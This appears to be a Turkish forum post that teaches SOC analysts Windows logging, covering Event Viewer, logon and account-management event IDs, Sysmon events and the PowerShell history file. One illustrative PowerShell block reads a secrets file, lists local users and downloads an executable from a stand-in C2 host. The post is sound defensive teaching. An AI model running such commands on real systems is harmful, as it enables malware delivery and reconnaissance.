Hoşgeldin Misafir

#STHM-SOC İçin Windows Günlük Kaydı

CW-ommah

17 Ocak 2022
905 Mesaj
TIM Görevleri
1

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde Windows olay günlüklerinde önemli olanları nasıl bulacağınızı ve yorumlayacağımızı, Sysmon ve PowerShell günlük kaynaklarını izlemeye göz atacağız.

Günlük Kayıtlarına Genel Bakış
Bir program başlattığınızda, bir dosya oluşturduğunuzda ya da sadece dizüstü bilgisayarınıza giriş yaptığınızda, bu olay işletim sisteminiz (OS) tarafından işlenir. Ardından işletim sistemi bu olayı kaydedebilir; yani zaman, işlem detayları ve işlemi gerçekleştiren kullanıcı bilgilerini içeren bir satırı bir günlük (log) dosyasına ekler.
Kaydedilen her olaya “log” denir ve doğru şekilde loglama yapılması, tüm kullanıcı ve sistem aktivitelerinin kayıt altına alınmasını sağlar. Bu da SOC (Security Operations Center) ekiplerine şu konularda yardımcı olur:

  • Olay Müdahalesi (Incident Response): Loglar, saldırının ne zaman ve nasıl gerçekleştiğini gösterebilir.
  • Tehdit Avcılığı (Threat Hunting): Loglar, kötü niyetli faaliyetlerin izlerini aramanıza olanak tanır.
  • Uyarı ve Önceliklendirme (Alerting and Triage): Loglar, her türlü uyarı veya tespit kuralının temel yapı taşlarından biridir.
Bir Log Kaydının Yapısı (Anatomy of a Log Entry)
Windows, oldukça güçlü loglama (kayıt tutma) yeteneklerine sahip ilginç bir işletim sistemidir; ancak bu logları okuyup anlamak ciddi bir bilgi birikimi gerektirir. İlk karşılaşacağınız zorluk, logları sadece açabilmek bile olabilir. Çünkü bu loglar, C:\Windows\System32\winevt\Logs klasörü içinde ikili (binary) formatta saklanır:
1776435691812.png
Her EVTX dosyası belirli bir log kategorisine karşılık gelir. Örneğin, Application Logs (Uygulama Günlükleri), Internet Information Services (IIS) web sunucusu veya Microsoft SQL Server (MS SQL) veritabanı gibi kullanıcı modunda çalışan uygulamalar tarafından kaydedilen olayları içerir. Öte yandan, Security Logs (Güvenlik Günlükleri) oturum açma denemeleri, süreç (process) aktiviteleri ve kullanıcı yönetimi gibi olayları kaydeder

Olay Günlüklerini Okuma (Reading Event Logs)
Bu bölümde, olay günlüklerini görüntülemenizi ve yönetmenizi sağlayan yerleşik bir araç olan Event Viewer’ı kullanacağız. Event Viewer’ı açmak için Windows arama çubuğunda “Event Viewer” araması yapabilir veya Win + R tuşlarına basıp eventvwr yazdıktan sonra Enter’a basabilirsiniz.
Araç yüklendikten sonra, tüm sistem günlüklerinin ayrıştırılmış, gruplanmış ve analiz için hazır hale getirilmiş olduğunu görebilirsiniz:

  • Log Sources (Günlük Kaynakları): Her bir EVTX dosyası, sol panelde tek bir öğeye karşılık gelir.
  • Log List (Günlük Listesi): Gördüğünüz her satır, sıralayabileceğiniz bazı özellikler içeren tek bir olayı temsil eder:
    • Keywords (Anahtar Kelimeler): Bazı olaylar için, işlemin başarılı olup olmadığını gösterir.
    • Date and Time (Tarih ve Saat): Olayın gerçekleştiği zaman damgasıdır (sistem saati, UTC değil!).
    • Event ID: Olayın adı için benzersiz bir numaradır (örneğin, başarısız bir giriş her zaman 4625’tir).
  • Log Details (Günlük Detayları): Günlüğün asıl içeriğidir; düz metin (plaintext) veya XML formatında bulunur (“Details” sekmesi).
  • Filters Menu (Filtre Menüsü): Günlükleri filtrelemek için “Filter Current Log” ve “Find” butonlarını kullanabilirsiniz.
1776435848687.png

Neler Loglanır (What Is Logged)
Sadece Security Logs (Güvenlik Günlükleri) için bile 500’den fazla olay kimliği (Event ID) bulunmaktadır ve toplamda binlerce farklı olay kimliği vardır! Ancak, tüm olaylar varsayılan olarak kaydedilmez ve tüm olaylar düzgün şekilde belgelenmiş değildir.
Bu nedenle, bu bölümde günlük SOC (Security Operations Center) çalışmalarında en faydalı olan logları inceleyeceğiz Allah’ın izniyle.

Güvenlik Günlüğü: Kimlik Doğrulama
Genel Bakış (Overview)

Bir SOC analisti olarak, yarın hangi saldırıyla karşılaşacağınızı ve hangi logları incelemeniz gerekeceğini önceden bilemezsiniz. Ancak varsayılan olarak etkin olan tüm Windows logları arasında, Security Event Log (Güvenlik Olay Günlüğü) size en fazla değeri sağlayan kaynaktır.
Bu yolculuğa, en önemli iki güvenlik logundan başlayalım:

  • Successful Logon (4624): Başarılı oturum açma
  • Failed Logon (4625): Başarısız oturum açma
Event IDAmaçLoglamaSınırlamalar
4624 (Başarılı Oturum Açma)Şüpheli RDP/ağ oturum açmalarını tespit etmek ve saldırının başlangıç noktasını belirlemekHedef makinede, yani erişmeye çalıştığınız sistemde kaydedilirGürültülüdür. Yoğun çalışan sunucularda dakikada yüzlerce oturum açma olayı görebilirsiniz
4625 (Başarısız Oturum Açma)Brute force, password spraying veya zafiyet taramalarını tespit etmekHedef makinede, yani erişmeye çalıştığınız sistemde kaydedilirTutarsız olabilir. Loglar, olayı yanlış yorumlamanıza neden olabilecek birçok istisna ve detaya sahiptir

4624 Olayının Yapısı (Structure of 4624)
Tipik bir Windows sunucusu, dakikada onlarca oturum açma olayı üretebilir ve her bir oturum açma olayı genellikle birçok farklı alandan (field) oluşur. Ancak, aşağıdaki görselde yer alan birkaç temel olay alanını kontrol ederek çoğu L1/L2 seviyesindeki durumu analiz edebilirsiniz.
1776436002565.png

RDP Brute Force Tespiti (Detect RDP Brute Force)

  • Security loglarını açın ve 4625 Event ID (başarısız giriş denemeleri) için filtre uygulayın.
  • Logon Type 3 ve 10 olan olaylara bakın (Ağ ve RDP oturum açmaları):
    • Çoğu modern sistemde logon type 3 olur (çünkü Network Level Authentication varsayılan olarak etkindir).
    • Eski veya yanlış yapılandırılmış sistemlerde logon type 10 olabilir (çünkü NLA kullanılmaz).
  • Artık her olay dikkate değerdir, ancak özellikle şu durumlar kırmızı bayrak (red flag) olarak değerlendirilir:
    • admin, helpdesk, cctv gibi birçok farklı kullanıcı adıyla denemeler yapılması (password spraying göstergesi)
    • Genellikle Administrator hesabında çok sayıda başarısız giriş denemesi (brute force göstergesi)
    • Workstation Name kurumsal isimlendirme standardına uymuyorsa (örneğin THM-PC-06 yerine kali)
    • Source IP beklenmeyen bir kaynaktan geliyorsa (örneğin yazıcınızın Windows sunucunuza bağlanmaya çalışması)

Güvenlik Günlüğü: Kullanıcı Yönetimi
Genel Bakış (Overview)

  • “Hey Ejder, ‘svc_sysrestore’ senin hesabın mı? Kullanıcı listesinde daha önce hiç görmedim.”
  • “Hayır, ama muhtemelen Windows’a ait bir şeydir; gelecekte sorun yaşamamak için dokunmamak daha iyi.”
Yukarıdaki diyalog, genellikle fidye yazılımı (ransomware) saldırılarına yol açabilen tipik bir BT departmanı konuşmasına örnektir. Ancak kimlik doğrulama ve kullanıcı yönetimi olayları hakkında biraz bilgi ile, herhangi bir kullanıcı hesabının tüm geçmişini tespit etmek oldukça kolaydır. Aşağıda kullanabileceğiniz yaygın olay kimliklerinin (Event ID) bir özeti verilmiştir:
Event IDAçıklamaKötü Amaçlı Kullanım
4720 / 4722 / 4738Bir kullanıcı hesabı oluşturuldu / etkinleştirildi / değiştirildiSaldırganlar, bir arka kapı (backdoor) hesabı oluşturabilir veya tespitten kaçınmak için eski bir hesabı yeniden etkinleştirebilir
4725 / 4726Bir kullanıcı hesabı devre dışı bırakıldı / silindiGelişmiş tehdit aktörleri, faaliyetlerini yavaşlatmak için ayrıcalıklı SOC hesaplarını devre dışı bırakabilir
4723 / 4724Bir kullanıcı şifresini değiştirdi / kullanıcının şifresi sıfırlandıYeterli yetkiye sahip saldırganlar, şifreyi sıfırlayıp ardından ilgili kullanıcı hesabına erişim sağlayabilir
4732 / 4733Bir kullanıcı güvenlik grubuna eklendi / güvenlik grubundan çıkarıldıSaldırganlar genellikle arka kapı hesaplarını “Administrators (opens in new tab)” gibi ayrıcalıklı gruplara ekler

Kullanıcı Yönetimi Olaylarının Yapısı (Structure of User Management Events)
Tüm kullanıcı yönetimi olayları benzer bir yapıya sahiptir ve üç bölüme ayrılabilir: işlemi yapan kişi (Subject), hedef alınan kişi/nesne (Object) ve yapılan değişiklikler (Details):

  • Subject (Özne): İşlemi gerçekleştiren hesaptır. Logon ID alanına dikkat edin — bu alanı, bu olayı önceki 4624 giriş olayı ile ilişkilendirmek için kullanabilirsiniz.
  • Object (Nesne): Olay ID’sine bağlı olarak farklı isimlerle görünebilir (örneğin New Account veya Member), ancak her zaman aynı anlamı taşır: işlemin hedefi.
  • Details (Detaylar): 4732 ve 4733 olaylarında hedef grup bilgilerini içerir; 4720 olayında ise yeni kullanıcının tam adı veya parola süresi gibi özelliklerini içerir.
1776436258447.png
Arka Kapı Kullanıcılarını Tespit Etme (Hunt for Backdoored Users)

  • Security loglarını açın ve 4720 / 4732 Event ID’leri için filtre uygulayın.
  • Her olayı manuel olarak inceleyin; aşağıdaki durumlar kırmızı bayrak (red flag) olarak değerlendirilir:
    • Yapılan işlemi BT ekibinden kimsenin doğrulayamaması
    • Değişikliklerin mesai saatleri dışında veya hafta sonu yapılması
    • İşlemi yapan (subject) kullanıcının adının bilinmemesi veya beklenmedik olması
      • (örneğin “adm.old.2008” hesabının yeni Windows kullanıcıları oluşturması)
    • Hedef kullanıcı adının normal isimlendirme standardına uymaması
      • (örneğin “thm_svc_backup” yerine “backup” kullanılması)
  • İşlemin kötü amaçlı olduğunu doğrularsanız, giriş detaylarını analiz edin:
    • 4720 / 4732 olayından Logon ID alanını kopyalayın
    • Aynı Logon ID’ye sahip ilgili giriş olayını bulun
Sysmon: Süreç İzleme
Genel Bakış (Overview)

  • +“Ejder, son zamanlarda internetten herhangi bir dosya çalıştırdın mı?”
  • -“Tabii ki hayır, neden? Ben asla güvenilmeyen dosyaları açmam.”
  • +“Ama IP adresin üretim sunucularımıza brute-force saldırısı yapmaya çalışıyor.”
Yukarıdaki diyalog, SOC ekiplerinin yalnızca kimlik doğrulama denemelerinden daha detaylı loglamaya neden ihtiyaç duyduğunu gösteren bir örnektir. Bir ihlale uğrayan kişinin kim olduğunu bilseniz bile, çoğu zaman saldırının nasıl gerçekleştiğini bilemezsiniz. İşte bu noktada süreç (process) izleme devreye girer ve Windows’ta bunu etkinleştirmenin iki yolu vardır:
Event CodeAmaçSınırlamalar
4688 (Security Log: Process Creation)Her yeni süreç (process) başlatıldığında, komut satırı ve üst süreç (parent process) detayları dahil olmak üzere bir olay kaydı oluştururVarsayılan olarak devre dışıdır; resmi dokümantasyona göre manuel olarak etkinleştirilmesi gerekir
1 (Sysmon: Process Creation)4688 olay kodunun yerine geçer ve süreç hash’i ile imza (signature) gibi daha gelişmiş alanlar sağlarSysmon varsayılan olarak yüklü olmayan harici bir araçtır. Sysmon’un resmi sayfasına bakınız

Sysmon vs Security Log (Sysmon ve Güvenlik Günlüğü)
Sysmon, Microsoft Sysinternals Sysmon paketine ait ücretsiz bir araçtır ve varsayılan sistem loglarına ek olarak gelişmiş izleme için fiili (de facto) bir standart haline gelmiştir. Dolayısıyla, temel fakat gürültülü olan 4688 event ID’sini etkinleştirmek ile daha güçlü ve esnek loglar sağlayan bir programdır Sysmon
Sysmon kurulduktan sonra loglar Event Viewer içinde şu konumda bulunur:
Applications & Services -> Microsoft -> Windows -> Sysmon -> Operational
1776436501652.png

Sysmon Event ID 1’in Kullanımı (Sysmon Event ID 1 in Action)
Yukarıdaki ekran görüntüsünde de görebileceğiniz gibi, Event ID 1 birçok farklı alan içerir ve bunların en önemlileri şu şekilde gruplandırılabilir:

  • Process Info (Süreç Bilgisi): Başlatılan sürecin bağlamını içerir; PID, dosya yolu (image) ve komut satırı gibi bilgileri kapsar.
  • Parent Info (Üst Süreç Bilgisi): Üst sürecin bağlamını içerir; süreç ağacı (process tree) veya saldırı zinciri oluşturmak için oldukça faydalıdır.
  • Binary Info (Binarî Bilgisi): Süreç hash’i, imza (signature) ve PE metadata bilgilerini içerir. Daha ileri seviye konular için gereklidir.
  • User Context (Kullanıcı Bağlamı): Süreci çalıştıran kullanıcıyı ve en önemlisi Security log’larındaki ile aynı olan Logon ID bilgisini içerir.
Neredeyse tüm saldırılar uç nokta (endpoint) seviyesinde gerçekleşir ve sistemi ele geçirmek veya veri sızdırmak için en az bir sürecin çalıştırılmasını gerektirir. Bu nedenle süreç izleme (process monitoring), bir SOC ekibi için en önemli log kaynaklarından biridir.

Sysmon: Dosyalar ve Ağ
Genel Bakış (Overview)
Sysmon yalnızca süreç oluşturma (process creation) olaylarından çok daha fazlasını sunabilir. Dosya ve registry değişikliklerini, ağ bağlantılarını, DNS sorgularını ve daha birçok kritik olayı kaydedebilir.
Ayrıca, varsayılan loglardan farklı olarak hangi olayların kaydedileceğini ve hangilerinin hariç tutulacağını siz yapılandırabilirsiniz

Event IDSecurity Log AlternatifiOlay Amacı
11 / 13 (Dosya Oluşturma / Registry Değeri Ayarlama)Dosya değişiklikleri için 4656 ve registry değişiklikleri için 4657; her ikisi de varsayılan olarak devre dışıdırZararlı yazılımların bıraktığı dosyaları veya kalıcılık (persistence) sağlamak için registry üzerinde yaptığı değişiklikleri tespit etmek
3 / 22 (Ağ Bağlantısı / DNS Sorgusu)Doğrudan bir alternatif yoktur; ek firewall ve DNS yapılandırması gerektirirGüvenilmeyen süreçlerden gelen trafiği veya bilinen kötü amaçlı hedeflere yapılan bağlantıları tespit etmek

Sysmon Olaylarının Yapısı
1776436653779.png
Ekran görüntüsüne bakın—her Event ID’nin kendi amacı olsa da, turuncu renkle vurgulanan alanlar aynı yapıyı takip eder. Ayrıca Logon ID veya parent process bilgisi gibi bazı kritik alanların eksik olduğunu da fark edin. Buradaki mantık, ProcessId alanını kullanarak ilgili Event ID 1 (Process Creation) olayını bulmak ve tüm bağlamı oradan elde etmektir.

Sysmon Olaylarının Kullanımı (Usage of Sysmon Events)
Süreç oluşturma olayları yaygın ihlal senaryolarını tespit etmek için yeterli bağlam sağlasa da, saldırı zincirinin tamamını yeniden oluşturmak ve hiçbir detayı kaçırmamak için ek loglar kritik öneme sahiptir. Örneğin, verinin nereye sızdırıldığını (data exfiltration) belirlemek için ağ (network) loglarına, saldırganların hangi sistem yapılandırmalarını değiştirdiğini görmek için ise registry değişiklik loglarına ihtiyaç duyarsınız.

PowerShell: Komutları Kaydetme
PowerShell, Windows’a yerleşik güçlü bir araçtır ve saldırganlar tarafından kötüye kullanılmayı çok sever. Bunun başlıca nedeni, hem güvenilir olması hem de zararlı yazılım indirme, sistem keşfi yapma, veri sızdırma ve hatta süreç enjeksiyonu gibi gelişmiş teknikleri gerçekleştirebilme yeteneğine sahip olmasıdır. Ancak yalnızca Sysmon Event ID 1 gibi süreç oluşturma loglarını kullanarak onun komutlarını yakalayamazsınız. Aşağıdaki komut satırına bir göz atın:
Kod:
PS C:\> Get-ChildItem
PS C:\> Get-Content secrets.txt
PS C:\> Get-LocalUser; Get-LocalGroup
PS C:\> Invoke-WebRequest http://c2server.thm/a.exe -OutPath C:\Temp\a.exe

Burada, tehdit aktörü hassas bir dosyayı okumayı, yerel kullanıcıları ve grupları görüntülemeyi ve hatta kötü amaçlı yazılımı Temp dizinine indirmeyi başarmıştır. Ancak yine de yalnızca powershell.exe’nin başlatıldığını belirten tek bir Event ID 1 olayı görürsünüz; çalıştırılan komutlarla ilgili hiçbir bilgi yer almaz.

Nasıl Çalışır
Her programın belirli bir amacı vardır: firefox.exe bir web tarayıcısıdır, notepad.exe bir metin düzenleyicisidir ve whoami.exe ise yalnızca kullanıcı adınızı görüntüler. Eğer sadece internette geziniyorsanız, muhtemelen yalnızca tek bir Firefox süreci oluşturursunuz. Ancak RDP erişimi veya fotoğraf düzenleme gibi kapsam dışı her görevde yeni programlar açmanız ve ek loglar oluşturmanız gerekir.
Öte yandan PowerShell, sistem yönetimi için güçlü, hepsi bir arada bir araçtır. powershell.exe’yi başlattığınızda, aynı terminal oturumu içinde her işlem için yeni süreç oluşturmak zorunda kalmadan yüzlerce farklı komutu çalıştırabilirsiniz. Bu nedenle Sysmon burada pek yardımcı olmaz ve alternatif bir loglama yaklaşımı bulmanız gerekir.

PowerShell Geçmiş Dosyası
PowerShell’i izlemek için her birinin kendine göre avantaj ve dezavantajları olan en az beş yöntem vardır. Logless Hunt odasını inceleyebilir ve AMSI ile Transcript Logging konularını araştırabilirsiniz. Ancak bu bölümde, PowerShell komutlarını takip etmenin basit ama etkili bir yoluna odaklanacağız: PowerShell geçmiş dosyası.

Kod:
C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

PowerShell geçmiş dosyası, PowerShell tarafından otomatik olarak oluşturulan düz metin (plain text) bir dosyadır. Bu dosya, PowerShell penceresine yazdığınız her komutu kaydeder ve bir komutu çalıştırmak için Enter tuşuna bastığınız anda anında güncellenir.
1776436905660.png

Önemli Notlar

  • Geçmiş dosyası, sistem keşfi veya kötü amaçlı yazılım indirme gibi zararlı aktiviteleri izlemek için oldukça faydalıdır.
  • Bu dosya her kullanıcı için ayrı ayrı oluşturulur; yani sistemde beş aktif kullanıcı varsa beş farklı dosya görebilirsiniz.
  • Manuel olarak silinmediği sürece sistem yeniden başlatmalarından sonra da varlığını korur ve girilen tüm PowerShell komutlarını süresiz olarak saklar.
  • Komut çıktısını kaydetmez ve script içeriğini göstermez (örneğin powershell .\script.ps1 çalıştırıldığında).
1776437386993.png














Okuduğunuz için teşekkür ederim


CW-Ommah
Bug Researchers Tim Sundu...
1776437427055.png